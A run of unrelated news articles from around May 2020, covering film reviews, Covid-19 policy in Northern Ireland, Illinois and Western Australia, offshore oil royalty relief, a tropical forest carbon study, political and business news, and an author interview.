Women Make Film is not wilfully obscure: the work of populists like Kathryn Bigelow and Mary Harron is given its due; heavy-hitting arthouse directors like Claire Denis, Jane Campion and Mia Hanson-Love are referred to repeatedly, and Hollywood journeywomen Mary Lambert, Rachel Talalay and Angelina Jolie are celebrated for having managed to make mainstream genre movies that would otherwise have been made by men.

Are female-directed films distinguishable in some way from the vast majority of male-directed ones? Cousins is too smart to be long diverted by this essentially idiotic question: his point seems to be the simple one that instead of bemoaning the lack of female filmmakers, we should be celebrating the glittering array of films women have actually managed to make.

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Through the cool narration of Tilda Swinton, he notes merely that "film is sexist by omission," film history also, before proceeding to prove his point by darting through a rich library of female directed films.

His road movie conceit seems redundant, but his observations are incisive, fascinating. Sometimes his gaze is so keen that he seems to discover motifs in films perhaps unknown to the people who made them, but he's done cinema a service here, and educated us all in the process.

Women Make Film (BFI Player, Curzon Home Cinema) - 5 stars





Streaming Movies: Your guide to all the weeks latest releases online

Edge Of Extinction (Sky Store, Amazon, Google Play etc) - 2 stars

No one ever seems to imagine a happy future for humanity and in Edge Of Extinction things are particularly grim. A man in a Holden Caulfield hat eats Spam by candlelight and spends his days stalking a deserted landscape. In functional flashbacks, we discover that wars, bombs and nuclear winter have plunged humanity back into the stone age. He's lived alone for years and avoided the gangs of murderous 'road rats', but everything changes when he meets a young woman. Andrew Gilbert's film is ambitious, but made on a shoestring, and if this is what survival is, I'd rather have been standing beneath the bomb.





Take Me Somewhere Nice (Mubi) - 3 stars

There's a stylish swagger to Ena Sendijarevic's feature debut, based in part on her own experience as the Dutch-raised child of Bosnian parents. When teenager Alma hears that her father is gravely ill in the Balkans, she decides to go back and see him. He left when Alma was a baby and she doesn't remember him at all. Her journey, then, is inspired as much by curiosity as concern, and things get interesting when she hooks up with a gangster cousin back in the old country. Sendijarevic's film is nice to look at, if a little over-directed, and its playful sense of humour undercuts more serious concerns.
PSNI chief constable Simon Byrne has said his officers will move from "fighting the coronavirus to fighting crime" after the Bank Holiday weekend.

Speaking at the daily Covid-19 press conference, Mr Byrne appealed to members of the public to "think twice" about their actions this weekend.

He said: Think twice about whether I really need to do this. And if I cant convince you, or the first minister or the deputy first minister can't convince you, just think can you go home and look your elderly parents in the eye and say what I did was responsible and was it reasonable?

He added: You will see a change in the policing style beyond the bank holiday weekend. We are looking at moving from fighting the virus to fighting crime as we restore neighbourhood policing.

"But we will still be there to follow our four es approach, particularly in regards of enforcement when we see large gatherings of people that dont heed the guidance.

The chief constable said there will be less police officers conducting road checks across NI this weekend, but that the force will still be visible.

First Minister Arlene Foster also appealed to the public to maintain the guidance this weekend.

Covid-19 is still lurking, it thrives when people become complacent and it spreads when people become blase about public health advice and it kills when people start acting like the threat is no longer there.

The pleas come after the latest Department of Health figures showed there have been three further coronavirus deaths in Northern Ireland.

One person died in the 24 hours up to 10am on Friday with two previously unreported. There were 1,405 tests carried out on 1,178 people with 23 returned positive.

Check out our live blog below to see how Friday's coronavirus developments unfolded.
Offshore oil producers and their allies in Congress are asking the Trump administration to make it easier for them to get a break on payments to the government amid the coronavirus pandemic.

Drillers working in the Gulf of Mexico argue they have been left high and dry during a historic rout in oil markets that saw the price per barrel briefly plummet below $0.

The lobbying effort comes after the White House declined last month to offer blanket royalty relief to all offshore oil producers.

Instead, the Trump administration said it would consider granting relief on a case-by-case basis and encouraged companies for apply for a break through existing royalty relief programs.

But offshore drillers say there are too many hoops they need to jump through to secure a much-needed pause on payments. Companies producing oil and gas on federal lands, by contrast, are having an easier time getting royalty relief, they say.

"I do think that there is a lack of satisfaction" with relief efforts, said Tyler Gray, president and general counsel of the Louisiana Mid-Continent Oil and Gas Association, a trade group for the oil and gas industry in Louisiana and the Gulf of Mexico.

Given the hurdles, only four offshore producers have begun the process of applying for royalty relief, according to the Interior Department, which manages both on- and offshore oil and gas leasing. None have yet received it.

The bureaucratic tangle for offshore producers comes even as President Trump has promised aid for the domestic oil sector, which is ailing as driving, flying and industrial activity have been severely curtailed to stop the spread of the virus.

"We have a great oil industry," Trump told reporters last month, "and the oil industry is being ravaged."

Only money-losing wells that would turn a profit if they got a break on payments can qualify for relief, according to guidance from the Bureau of Safety and Environmental Enforcement, an Interior Department agency that manages offshore drilling.

But the agency is too restrictive in what counts as a cost for a particular well, lobbyist Erik Milito wrote in a letter sent Monday to the agency. Milito heads the National Ocean Industries Association, which represents offshore energy producers.

Income taxes, certain capital costs and payroll for most corporate support staff, for example, cannot be included in the revenue-minus-cost equation that determines whether a well is running at a loss.

Even if those expenses are counted, oil is trading for so little that "mere granting of royalty relief will not make many leases economic under current circumstances," he said.

Without modifications, Milito warned, the royalty relief program "will fail along with many of the leases operated by offshore oil and gas companies, stranding oil and gas - likely forever."

Sixty members of Congress also are urging the Trump administration to change its formula for counting a well's expenses.

"While the current process is a good first step, we would like to work with you to implement these additional reforms to help keep businesses afloat," they wrote to Interior Secretary David Bernhardt on Thursday.

The letter had powerful backers: It was led by House Minority Whip Steve Scalise (R-La.) and also signed by House Minority Leader Kevin McCarthy (R-Calif.).

Bernhardt understands offshore issues well, having had the National Ocean Industries Association as a client while working as a lawyer and lobbyist for before joining the Trump administration.

Since late last month, 76 wells operated by six companies have been afforded relief by the Bureau of Land Management, the Interior Department agency that oversees onshore leasing.

And that's just in Utah. As of Wednesday, data for other states has not yet been posted, but one company told me and Will Englund that it has been granted relief for "several" wells in Wyoming.

The BLM, whose procedure for royalty relief is separate from BSEE's, gives onshore producers more liberty in determining whether a well is running at a loss and can qualify for relief.

The offshore royalty relief program has long been cumbersome and time-consuming to use, said Gray, head of the Louisiana Mid-Continent Oil and Gas Association, in part because companies need to submit applications for each individual well. He noted that between 2004 and 2019, only 13 offshore operators applied for royalty relief, according to data from BSEE.

"Obviously, something is not working," he said.

"These laws and regulations have existed for decades and across multiple administrations," spokesman Nicholas Goodwin said by email, when asked about the House letter. "The Bureau of Land Management and the Bureau of Safety and Environmental Enforcement each have separate, longstanding regulations that provide for the processing of applications for 'royalty relief.' "

The department, he added, "has not authorized royalty relief beyond these preexisting processes."

- - -

The Washington Post's Paulina Firozi contributed to this report.
Tropical forests face an uncertain future under climate change, but new research published in Science suggests they can continue to store large amounts of carbon in a warmer world, if countries limit greenhouse gas emissions.

The world's tropical forests store a quarter-century worth of fossil fuel emissions in their trees alone. There are fears that global heating can reduce this store if tree growth reduces or tree death increases, accelerating climate change.

An international research team measured over half a million trees in 813 forests across the tropics to assess how much carbon is stored by forests growing under different climatic conditions today.

The team reveal that tropical forests continue to store high levels of carbon under high temperatures, showing that in the long run these forests can handle heat up to an estimated threshold of 32 degrees Celsius in daytime temperature.

Yet this positive finding is only possible if forests have time to adapt, they remain intact, and if global heating is strictly limited to avoid pushing global temperatures into conditions beyond the critical threshold.

Lead author Dr Martin Sullivan, from the University of Leeds and Manchester Metropolitan University, said: "Our analysis reveals that up to a certain point of heating tropical forests are surprisingly resistant to small temperature differences. If we limit climate change they can continue to store a large amount of carbon in a warmer world.

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"The 32 degree threshold highlights the critical importance of urgently cutting our emissions to avoid pushing too many forests beyond the safety zone.

"For example, if we limit global average temperatures to a 2C increase above pre-industrial levels this pushes nearly three-quarters of tropical forests above the heat threshold we identified. Any further increases in temperature will lead to rapid losses of forest carbon."

Forests release carbon dioxide into the atmosphere when the amount of carbon gained by tree growth is less than that lost through tree mortality and decay.

The study is the first to analyse long-term climate sensitivity based on direct observation of whole forests across the topics. The research suggests that over the long-term, temperature has the greatest effect on forest carbon stocks by reducing growth, with drought killing trees the second key factor.

The researchers conclude that tropical forests have long-term capacity to adapt to some climate change, in part because of their high biodiversity as tree species better able to tolerate new climatic conditions grow well and replace less well-adapted species over the long-term.

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But maximizing this potential climate resilience depends on keeping forests intact.

Co-author Professor Beatriz Marimon from the State University of Mato Grosso in Brazil studies some of the world's hottest tropical forests in central Brazil. She noted: "Our results suggest that intact forests are able to withstand some climate change. Yet these heat-tolerant trees also face immediate threats from fire and fragmentation.

"Achieving climate adaptation means first of all protecting and connecting the forests that remain."

Professor Marimon notes the clear limits to adaptation. "The study indicates a heat threshold of 32 degrees Celsius in daytime temperature. Above this point tropical forest carbon declines more quickly with higher temperatures, regardless of which species are present.

"Each degree increase above this 32 degree threshold releases four-times as much carbon dioxide as would have been released below the threshold."

The insights into how the world's tropical forests respond to climate were only possible with decades of careful fieldwork, often in remote locations. The global team of 225 researchers combined forests observations across South America (RAINFOR), Africa (AfriTRON) and Asia (T-FORCES). In each monitoring plot the diameter of each tree and its height was used to calculate how much carbon they stored. Plots were revisited every few years to see how much carbon was being taken in, and how long it was stored before trees died.

To calculate changes in carbon storage required identifying nearly 10,000 tree species and over two million measurements of tree diameter, across 24 tropical countries. According to Professor Simon Lewis of the University of Leeds and University College London: "The amount of carbon absorbed and stored by forests is a crucial element in how the Earth responds to climate change."

"The study underlines why long-term research collaboration is essential for understanding the effects of environmental change. Scientists need to work together more than ever, as monitoring the health of our planet's great tropical forests is vital for all of us."

Cutting carbon emissions enough to keep forests within the safety zone will be very challenging. Study author Professor Oliver Phillips of the University of Leeds said: "Keeping our planet and ourselves healthy has never been more important. Right now, humanity has a unique opportunity to make the transition toward a stable climate.

"By not simply returning to 'business as usual' after the current crisis we can ensure tropical forests remain huge stores of carbon. Protecting them from climate change, deforestation and wildlife exploitation needs to be front and centre of our global push for biosecurity.

"Imagine if we take this chance to reset how we treat our Earth. We can keep our home cool enough to protect these magnificent forests -- and keep all of us safer."
- Armed men attack Upper West minister

- Mr. Amidu Issahaku Chinnia has suffered cutlass wounds from the attackers

- The police are yet to make an arrest in connection to the attack

-Our Manifesto: This is what YEN.com.gh believes in

Ghanas deputy Upper West regional minister, Amidu Issahaku Chinnia, was attacked by some unknown armed men on Thursday, May 21, 2020.

According to a report by Dailymailgh.com the incident happened at around 9 pm at the ministers residence at Sombo in Wa.

The men who were on a motorbike attacked and inflicted cutlass wounds on the deputy minister without provocation.

Deputy Upper West Regional Minister Amidu Chinnia Issahaku. Source: Dailymailgh.com

Source: UGC

READ ALSO: Coronavirus: 39,000 recovered, 3,078 died from virus - WHO releases update

He was rescued by a police patrol team who sent him to the hospital. He is responding to treatment.

Mr. Issahaku Chinnia sustained injuries on his right arm, according to the police.

The police have, however, revealed that no arrest has been made yet but investigations are ongoing into the matter.

Attacks on notable political figures have been rampant in the Upper West Region.

On May 9, 2019, the chairman of the Daffiama-Busie-Issah constituency of the National Democratic Congress (NDC) was shot and killed by an armed gang.

The late Mr. Richard Bayiviala Polibong was returning from official party duties in one of the electoral areas in the constituency when the incident happened.

READ ALSO: COVID-19: Ghana sees more recoveries but caseload shoots up to 6,486

Investigations are yet to uncover the circumstances behind the attack as the NDC continues to push for justice for the deceased.

No arrest has yet been made.

YEN.com.gh earlier reported that the National Democratic Congress (NDC) has alleged the Ghana Police Service has suddenly become the puppet of the governing New Patriotic Party (NPP) resulting in arrests of its officials.

The NDCs comment follows the arrest of Maj. (Rtd) Boakye-Djan after making some unsavoury comments on radio.

Newly-built Tema Motorway Interchange opened to traffic | #Yencomgh

READ ALSO: Obofour replies Kennedy Agyapong in new video

Your stories and photos are always welcome. Get interactive via our Facebook page.

Source: YEN.com.gh
Maharashtra Governor Bhagat Singh



Koshyari on Friday asked Chief Minister Uddhav Thackeray to resolve the issue of conduct of final-year university exams "without any further delay in the larger interest of students".

In a letter to the CM, Koshyari said "not conducting the final year examinations by the universities amounts to breach of UGC guidelines".

Taking strong objection to the letter written by state Minister of Higher and Technical Uday Samant to UGC recommending cancellation of final year examinations, the governor asked Thackeray to issue suitable instructions to the minister for his "unwarranted intervention".

This, Koshyari said, was in "violation of UGC guidelines and also the relevant provisions of the Maharashtra Public Universities Act, 2016".

The governor stated that he was not apprised by the minister in the matter before recommending the cancellation of final year examinations to UGC, a Raj Bhavan statement said.

The governor noted that as per provisions of the relevant Universities Act, universities have the power and duties to hold examinations and confer degrees upon successful students.

Koshyari noted it would not be "ethical or appropriate" to award degrees to final year students without conducting examinations, which results in violation of the provisions of the Universities Act.

He observed that receiving degrees by students without undertaking any kind of examinations would have adverse impact on their higher studies, gradation and employability.

The governor pointed out that the Union Ministry of Home Affairs has granted exemption from lockdown measures to the State Boards, CBSE, ICSE etc to conduct Class X and XII exams.

The UGC has issued guidelines on lockdown measures covering important dimensions related to examinations, academic calendar, etc for adoption by universities, Koshyari added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The value of real estate transactions in Abu Dhabi increased by 34 per cent to reach Dh6.3 billion ($1.7 billion) by April, through 2,617 real estate deals, compared to Dh4.6 billion ($1.25 billion) through 1,840 deals during the same period last year, according to statistics released by the Department of Municipalities and Transport (DMT).



The departments data indicated that mortgages acquired 60 per cent of the total real estate transactions in April and increased by 100 percent in April 2020 at up to Dh3.8 billion, which was made through 1,170 mortgage transactions, compared to the same period in 2019 with mortgages worth Dh1.9 billion, through 598 mortgage transactions.



Statistics also showed that the value of buying and selling operations in April reached some Dh2.5 billion, made through 1,447 transactions, compared to Dh2.8 billion during the same period last year, through 1,242 transactions, it stated.



According to the report, Yas Island had the highest value of the total real estate transactions in April with some Dh771 million, followed by Al Reem Island with some Dh279 million, Saadiyat Island with some Dh270 million, Al Reef region with Dh254 million and Al-Faqa region with some Dh159 million.



The total real estate transactions in Abu Dhabi increased by 22 percent in the first quarter of this year to reach Dh19.2 billion, compared to some Dh15.8 billion during the same period last year.



Dr Adeeb Alafeefi, Managing Director (Real estate) at DMT said: "Based on the directives of the wise leadership to support business sectors during these exceptional circumstances, the Abu Dhabi real estate market has maintained its vitality, position and excellence despite these unprecedented repercussions caused by the coronavirus on the global economy and its repercussions on real estate markets around the world."



"The incentive plans launched by the UAE government and the economic support plan of the central bank along with the economic incentives package launched by the Abu Dhabi Executive Council, has exempted individuals and companies from 34 real estate registration fees until the end of 2020, all contributed to providing sufficient flexibility and helping the real estate market in Abu Dhabi respond to the current circumstances and continue its growth and maintain the momentum of its transactions," stated Alafeefi.



The DMT's exemptions include two percent of sale contracts, two percent fees of the sale on the plan, in addition to other fees such as land exchange fees, mortgage registration, mortgage transfer, mortgage amendment and mortgage redemption, he added.-TradeArabia News Service
CHICAGO - Last weekend Quincy, Illinois, Mayor Kyle Moore drove across the Mississippi River to Hannibal, Missouri. He pulled into a popular brewery, the parking lot crammed with familiar cars, all with Illinois plates.

"You can't get into the place," he said. "They've been running out of food."

Watching the taillights fade across the border is a common source of aggravation for public officials in communities throughout Illinois. For many, it has only gotten more worrisome as limits put in place to contain the novel coronavirus are loosening in every surrounding state, while Illinois remains mostly closed.

Five neighboring states - Wisconsin, Iowa, Missouri, Indiana and Kentucky - have all in recent weeks relaxed or abolished restrictions while Gov. J.B. Pritzker, a Democrat, has twice extended Illinois's stay-at-home order.

In daily briefings, Pritzker frequently warns residents of the public health risks of crossing the border to states like Iowa, which allowed restaurants to open this month. There, as in all neighboring states, social distancing is not required, precautions are largely up to individual store owners, and images of crowds cramming the shopping aisles and parking lots of big-box stores have proliferated online. The differing rules have alarmed Pritzker.

"People who are traveling across the border and . . . gathering in large groups and who are going into restaurants or bars . . . will asymptomatically come back to Illinois and spread it," he said recently.

Illinois has the third-highest number of coronavirus cases nationwide, behind New York and New Jersey. More than 105,000 residents have tested positive, and more than 4,700 have died.

Pritzker has said he is not willing to rush to loosen restrictions with numbers still rising and federal efforts on testing still lagging. Nonessential businesses remain closed in Illinois, and face coverings are required in all stores and other public settings.

The third phase of the state's reopening plan will start May 29. Gatherings of up to 10 people will be allowed, and salons, health clubs, offices and some manufacturing may open, with restrictions. Pritzker said this week it appears that the majority of the state is ready to move forward with reopening.

Illinois will still be far behind neighbors like Indiana, which will allow gatherings of up to 100 people starting this weekend, and Missouri, which never required businesses to close. Last week the Wisconsin Supreme Court struck down Democratic Gov. Tony Evers' extension of his stay-at-home order, ending two months of restrictions.

The lack of coordination among the states has officials in Chicago worried about a surge in cases and deaths this summer.

"They are going to bring it back here; it's a grave concern," said Alderwoman Susan Sadlowski Garza of the city's 10th Ward, which borders Indiana.

Garza said she recently drove over the state line and saw crowds gathered outside restaurants. No one was wearing a mask, she said, and she felt helpless and upset.

Nearly 40,000 of the state's cases have been in Chicago.

"I have to surrender to the fact that people are going to do what they want to do. I can get the word out, I can distribute masks, I can give people resources," she said. "But there is only so much I can do when people think the right thing to do is to go to a restaurant or bar in Indiana and come back home."

The pandemic is seen less as a public health emergency and more of an economic one in downstate and more rural counties. The impulse to cross a bridge to another state without taking precautions is purely psychological, said Chris Lain, mayor of Savanna, a northwest Illinois river town of about 3,000 people.

"When you watch the national news, it's all about the massive amount of cases in Chicago and Cook County. But we're not seeing that. In this area, we're only seeing our small businesses suffering," he said.

Lain said one of the biggest challenges is that the Illinois side of the river is dependent on Iowa. Most of the chain stores are in Iowa, and people have friends and family on both sides. He would often see people practicing social distancing and wearing masks in Savanna when the pandemic started. That changed in late April, when Pritzker extended the stay-at-home order.

"Less people are taking it seriously. There's a lot more defiance," Lain said.

Many businesses suffered over the winter, he said, and then went straight into the shutdown, leaving reserves tapped.

The state's reopening plan breaks Illinois into five areas. Each must have no overall increase in coronavirus cases over 28 days. Moore, the Quincy mayor, fears that the plan could have a reverse effect on public health, with people tired of being at home heading into large crowds in states that have reopened. He believes that communities like his are unfairly restricted, despite having minimal cases. There have been 43 coronavirus cases in Adams County, which includes Quincy, and one death.

"People feel they are penalized because Chicago has such a high disease burden," Moore said.

Pritzker said Friday that caution is needed because "it's still unclear where we're going to see a spike . . . over the summer."

The ultimate reopening of the state, he said, "will be guided by the science and the data, and it's unclear because, as you move forward, the science is evolving and the data is giving us more information on what we ought to be doing."

Many businesses over the border are welcoming the influx of people - and money - from Illinois. At Jimmy's Pancake House in Bettendorf, Iowa, customers go through temperature checks at the door and are seated at safe distances from one another. That hasn't stopped the rush, said owner Manny Kardaras.

"Everyone is looking to find somewhere to eat. The public sentiment around here is everybody is just tired of being stuck in their house," he said.

In Gresham, Wisconsin, Annie Retzlaff operates a 200-site campground with an outdoor pool and abundant nature. Retzlaff, who stayed open in defiance of Evers' stay-at-home order, thinks coronavirus is "overblown." She said that summer is "going to be awesome" and that reservations are filling up, many from her Illinois regulars.

"Those of us who want to continue life and living and have fun and go outside, that's what we are going to do," she said.

Sam Toia, president of the Illinois Restaurant Association, said he is pleased that Pritzker is being so deliberate with his reopening plan. Toia said his biggest fear is that the economy would quickly reopen - only to close again if cases spike.

"That would be the death of the hospitality industry," he said.
Colourful billionaire Clive Palmer will challenge Western Australia's hard border closure in the High Court next week after claims he was denied an exemption to enter the state.

Mr Palmer was scheduled to enter the state last Friday on his private jet to meet with federal Liberal Senator Mathias Cormann and potential United Australia Party candidates for the 2021 WA election but said his application was knocked back by police.

Clive Palmer. Credit:AAP

Mr Palmer said he was also travelling to meet Perth-based staff at his mining company Mineralogy to discuss the logistics and supply of the 32.9 million doses of the anti-malarial drug hydroxychloroquine he plans to donate to the Australian government's national medical stockpile to study its effectiveness against COVID-19.

"I put in for an exemption and I gave them two copies of letters from the health department confirming what we were doing, I'd advised them who I was meeting with over there and they said, 'no we don't think that qualifies'," he said.
Zoraida Cordova's debut novel, Vicious Deep, launched her into the world of young adult fiction in 2012. Since then, shes grown her portfolio of novels and diversified into the Star Wars universe and into romance, writing as Zoey Castile. Her latest novel, The Way to Rio Luna, marks her entree into writing middle grade fiction and weaves themes of isolation and hope through a story rooted in family. Cordova spoke with PW from her home in New York about what its like to write for a new age group, and how writing has led to collaborations and friendships.

The Way to Rio Luna is your middle-grade debut following plentiful success writing for YA. Can you tell us what inspired you to step into middle grade?

The thing that made me want to start writing middle grade was Ive always read it, even though I aged out of it. I still read middle grade, like Percy Jackson and Soman Chainanis [The School for Good and Evil] series. I had this idea about a boy searching for family. All of my stories, whether theyre YA or adult or middle grade, have always included and will probably always include an element of family. After talking to Mallory Kass, my editor at Scholastic, it was more of a try-to-concept what the magic of The Way to Rio Luna would look like, how will it fit into the canon of other middle grade adventure stories about fairy tales coming out. I wanted to stick to a more classic feel of a kid in search for something wondrous. I know that when I was younger I was always in search of magical doors or gateways that would take me into a cool place like Narnia or through the looking glass.

How has writing YA and middle grade differed for you?

I still outline the same way. I always think about what the endings going to be first, so the process remains the same. When it comes to voice in writing for middle grade, theres a level of honesty that you cant fake. The middle grade reader is just so aware and in tune with the adventure. I try to remember what I was like at that age and if [what Im writing] felt like a true experience for me, then I think I did a good job. When I write YA, I think about who I was as a teenager and I think that as long as we dont let ourselves forget things like that we can write the most honest books that we can.

The theme of isolation played a definitive role in the story, particularly with Danny and his foster families with the Exile King and with Llewellyn. Can you talk more about why you chose to focus on that and how you feel that may speak to young readers in light of the current pandemic?

When a kid knows that theyre special or wants to be special theres an inherent loneliness that comes along with that. I always think about how nobody knows what you feel like when youre a kid. People try and adults will tell you, I felt that way when I was your age, etc. But no one truly knows. So were always in search of more. In The Way to Rio Luna the more aspect is the magical land and [Danny] finding his sister. As far as the pandemic goes, I think right now more than ever, we need fantasy books and books that allow kids to escape into a world that might have a controlled excitement and danger. Depending on what their familys level of communication is, they might not understand truly whats happening [in the real world]. So I think the responsibility of fantasy is now to create gateways for kids, during this time period and even beyond.

You talk in the book about Rio Luna being this magical place for Danny and his sister. What is it for you? Whats your Rio Luna?

When I was younger, my Rio Luna would have been just a place far away. That was the land of actual fairies, right? I used to do long-distance hiking and my summers were dedicated to, Okay, Im going to go to here. Last year, I went to Scotland and hiked 200 miles in the Western Isles the Outer Hebrides. So my fairy place is returning to these beautiful scenic locations that feel otherworldly. When I was in the Outer Hebrides where they had the Callanish stones, it felt like this place was mystical and I could touch one of the standing stones and just fall into a place like Rio Luna. Theres something very pristine about nature to meI think that wilderness always comes with a sense of magic.

In reading the book, the words hope and belief both came to mind when thinking of Danny, Glory and Llewellyn. The focus is on holding on to what you believe in and holding on to hope, especially with Danny. What messages are you hoping for readers to take away?

I think that the message really is not just one of hope. Im a huge Star Wars fan. I wrote a Star Wars novel and Star Wars to me is about hope, so that message is in all of my booksI think childrens literature needs to have messages of hope. But it also needs to have messages of unity in a way that doesnt feel hammered in. What I wanted to do with Rio Luna was get away from the chosen one motif because I think responsibility, like a lot of things about life, should be shared with people. Its great that one person can make a difference, but what if three friends got together and they shared this magic? So Danny, in having his book that is magical and that will lead him to his sister, shares his belief with Glory and then Llewellyn, so they can ultimately share in this magic. I think thats the message that I would like people to come away withwe can share this burden and we can share all of these things.

What was it like writing a book about a book?

It was a little strange because I never really thought of myself as a writer who would do a meta-narrative. I had to track the stories of the book, The Way to Rio Luna [mentioned in the novel], and my novel and how the stories within the fictional book parallel the adventure that my character needs to go on. That was a little hard, but it was also a lot of fun because a lot of the characters Danny, Glory, and Llewellyn meet along the way were inspired by some of my friends and my writer friends. I think if you know a lot of young adult [authors], you will have picked up on the names of the characters. Doing that was strange and [required] a bit of work, but definitely fun to play with. I dont know if I would do it again, but it was a really interesting exercise.

Can you tell us about your podcast with Dhonielle Clayton? How did you meet and start collaborating?

We met at a Romantic Times Book Lovers convention in 2015. Dhonielle had her debut coming out, Tiny Pretty Things, co-written with Sona Charaipotra. The way that RT worked, theres a lot of romance stuff and there were a lot of these shirtless buff romance models walking around with their long hair and kilts, different outfits and leather jackets. Dhonielle was just sort of hiding in a corner, like I dont like this. This is weird. Im just a YA author. Nobody explained to her what this convention was like. We were both slated to be at the young adult pajama party, so I was like, Stick with me, kid. Ill show you how to live. But not really. We realized we had a lot of mutual friends, and both lived in New York, so thats how we became friends. Neither of us likes to stay at home for very long, so were travel buddies as well. We just go somewhere and write. Last year we went to Amsterdam and thats where I finished my Star Wars novel, on New Years Day. Were kindred spirits that way.

We share an uptown office with another author named Mark Oshiro, one of those co-working spaces, named Deadline City because Dhonielle, Mark, and I seem to be in this vortex of deadlines together. Dhonielle then had this idea where she wanted to start a podcast and asked if I would do it with her. Our angle was that we want to talk about what happens after you get a book deal. Nobody really tells you what happens after the book is publishedthings like how to maintain relationships with your editors, how to keep writing a book, how to keep your work fresh. Also, we both like to tell jokes, to make fun of each other in a lighthearted way. Thats just how our friendship works. There has to be a little bit of levity with the serious aspect. So, we have the podcast and we love working on ithopefully we can expand it eventually and try to connect with as many writer people as we can.

What was it like writing for Star Wars?

At the beginning, it was super stressful because theres such a history and an inheritance of what Star Wars isits larger than life and I just wanted to do a good job. Once that pressure went away and I had a chance to sit down and write the novel, A Crash of Fate, I allowed myself to remember everything that I love about Star Wars. If I had told my teenage self that I was going to be writing a Star Wars novel when I was 31 or 32, I would not have believed it. A lot of what went into writing my book was watching the movies to study the source material, see what other writers have done in the past. I do that in any genre that I write in. I read romance novels because I write romance novels. I read fantasy novels because I write fantasy novels. I think that because all of our books are in conversation with each other, I have to do my due diligence of understanding my genre and the people who are my colleagues at the end of the day.

Whats next for you?

I have a lot of things that are coming up. I have the third and final book in my Brooklyn Brujas series, which is exciting because the series is still optioned by Paramount and I know they just got a writer for it. Then I have the sequel to my novel Incendiary, which will come out in 2021. Vampires Never Get Old comes out September 22. Im also going to have a couple of other anthologies. Im in the Star Wars Clone Wars anthology, coming out on August 25, and Im in [a collection] called Come on In, edited by Adi Alsaid, which is 15 stories about the immigration experience. Its my first contemporary young adult piece. I also have an unannounced adult magical realism project for 2022, but thats way in the distance. So I keep busy.

The Way to Rio Luna by Zoraida Cordova. Scholastic, $17.99 June 2 ISBN 978-1-338-23954-6
Overnight, markets around the world began to sell off as news from mainland China appeared to throw a blanket over our weekly rally. Beijing reportedly looks to pass legislation restricting protest activity in Hong Kong  where months long protests broke out between Hong Kong citizens and mainland police over a variety of issues, including whether citizens arrested in Hong Kong should face trial on the mainland.



New protests were called in Hong Kong following Beijings announcement that it intends to crack down on secession, subversion, terrorism and foreign interference in the city. The Chinese government also intends to install intelligence agencies within the city of Hong Kong, which hearkens back to protestors challenging the mainlands law enforcement overreach there.



Hong Kong, a British colony until 1997, has always set itself apart from the rest of China in terms of financial business, trade with the outside world and law-making autonomy. Mainland China appears to be turning toward Hong Kongs economic prowess to help the country recover from the lockdown measures that took a hammer to Chinas GDP over the past several months.



Throwing fuel on the fire, the Trump administration has publicized its intent to sell American torpedoes to Taiwan  another island with deep and serious issues with China. In fact, Taiwan is not called Taiwan in China at all; its Chinese Taipei. Arming this island  with its own relatively robust economy  is surely to be taken as a provocation by the U.S. towards Beijings interests. And this is before noting President Trump has been verbally disparaging China for weeks, continually reminding the American public that COVID-19 originated in a central Chinese province.



The Hang Seng Index in Hong Kong fell 5.5% Friday. This, in turn, took European markets flat-to-down. Pre-market indexes here at home, however, are flat. This is a morning without much in the way of major economic reports to help direct the sentiments of the market.



Deere & Co. DE outperformed estimates on both top and bottom lines this morning, with $2.11 per share beating the $1.94 in the Zacks consensus, and $9.3 billion in quarterly revenues surpassed the $8.01 billion expected. On the earnings side, this represents a 40% drop from $3.52 per share reported in the year-ago quarter. Revenues are down 18% year over year. Shares are up 3.5% in todays pre-market on the news; Deere is still down double-digits from a year ago, although outperforming its Heavy Machinery industry.



Zacks Rank #5 (Strong Sell)-based Foot Locker FL missed badly on both earnings and sales in its Q1 report, posting a bottom line loss of 67 cents per share, compared with the -17 cents in the Zacks consensus, on $1.18 billion in sales which came up 10.6% short of estimates. The stock, down almost 25% year to date, is down another 9.5% ahead of the opening bell.



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NEW HAVEN  A local clergy group is pushing back on the mayors proposal to contract out certain emergency medical services instead of providing them through the city.

The Fire Department provides Advance Life Support and Basic Life Support with all firefighters trained to the level of emergency medical technician.

In next years budget, Mayor Justin Elicker proposed contracting the ALS service to another company, which would allow the city to save money under the minimum manning clause.

Elicker said most municipalities contract out the service.

The Greater New Haven Clergy Association opposed the change in a letter to Elicker.

This course of action would deny individuals access to immediate care from highly-trained individuals who are qualified to be dispatched by the emergency call centers when a health emergency occurs, they said in the letter. The dissolution of this essential service will be to our detriment.

The Rev. Boise Kimber said in a Zoom press conference that its important the paramedic service remains the responsibility of the New Haven firefighters.

I cant believe that in the crisis in which were in the mayor would turn to essential workers and say we dont need your service anymore, Kimber said.

Elicker said Kimbers statements were not accurate.

I value the importance of medical response to the safety of our residents, Elicker said. The proposal is not to change anything about the basic medical response.

The Fire Department still would respond to all medical calls with the same response time, with the difference being instead of having three paramedic units conducted in-house, that service would be provided fully by another provider, Elicker said.

The delivery by an outside party would allow savings under the minimum manning clause  the minimum number of firefighters required to be on covering all shifts. That clause in the fire union contract is a significant cause of overtime, the mayor said.

The contract, however, allows that number to drop to 69 if the Advance Life Services were done by an outside group. Elicker said if firefighters are out sick or on vacation, the city currently is required to fill the number of bodies to 72.

Fire Chief John Alston said the department currenly has three units with a total of six people per shift who do ALS service, along with American Medical Response, according to previous reporting. It is a blended service with AMR, the chief said.

Fire personnel moved out of those positions would be reassigned to the fire engines and trucks, the chief said.

At the Fire Department, 12 positions would be reduced to $1, so they could be revisited later and the savings realized now.

Kimber said the city would be shifting the service to a company that cant handle New Havens needs, which he named as AMR.

But Elicker said there is no basis for believing that would be the situation. Additionally, he said they havent decided which company to use before the Board of Alders votes on the budget.

Elicker said he and Alston have had many conversations about the proposal to decide that contracting the service was the best choice.

I believe were on the same page, he said.

mdignan@hearstmediact.com
Washington, May 22 : The US Senate has confirmed President Donald Trump's nominee, Texas Congressman John Ratcliffe as the next Director of National Intelligence (DNI).

Senators on Thursday voted 49-44 on Ratcliffe's nomination, largely along party lines, reports Xinhua news agency.

Republicans hold 53 seats in the Senate.

Ahead of Thursday's vote, Senate Majority Leader Mitch McConnell praised Ratcliffe while Senate Minority Leader Charles Schumer vowed to oppose his nomination.

"Today, we'll confirm the next director of national intelligence. John Ratcliffe will lead the Intelligence Community in countering threats from great powers, rogue nations, and terrorists - and ensuring that work is untainted by political bias," McConnell said.

In comparison, Schumer said that Ratcliffe has "not demonstrated the qualities for the independence that we should expect".

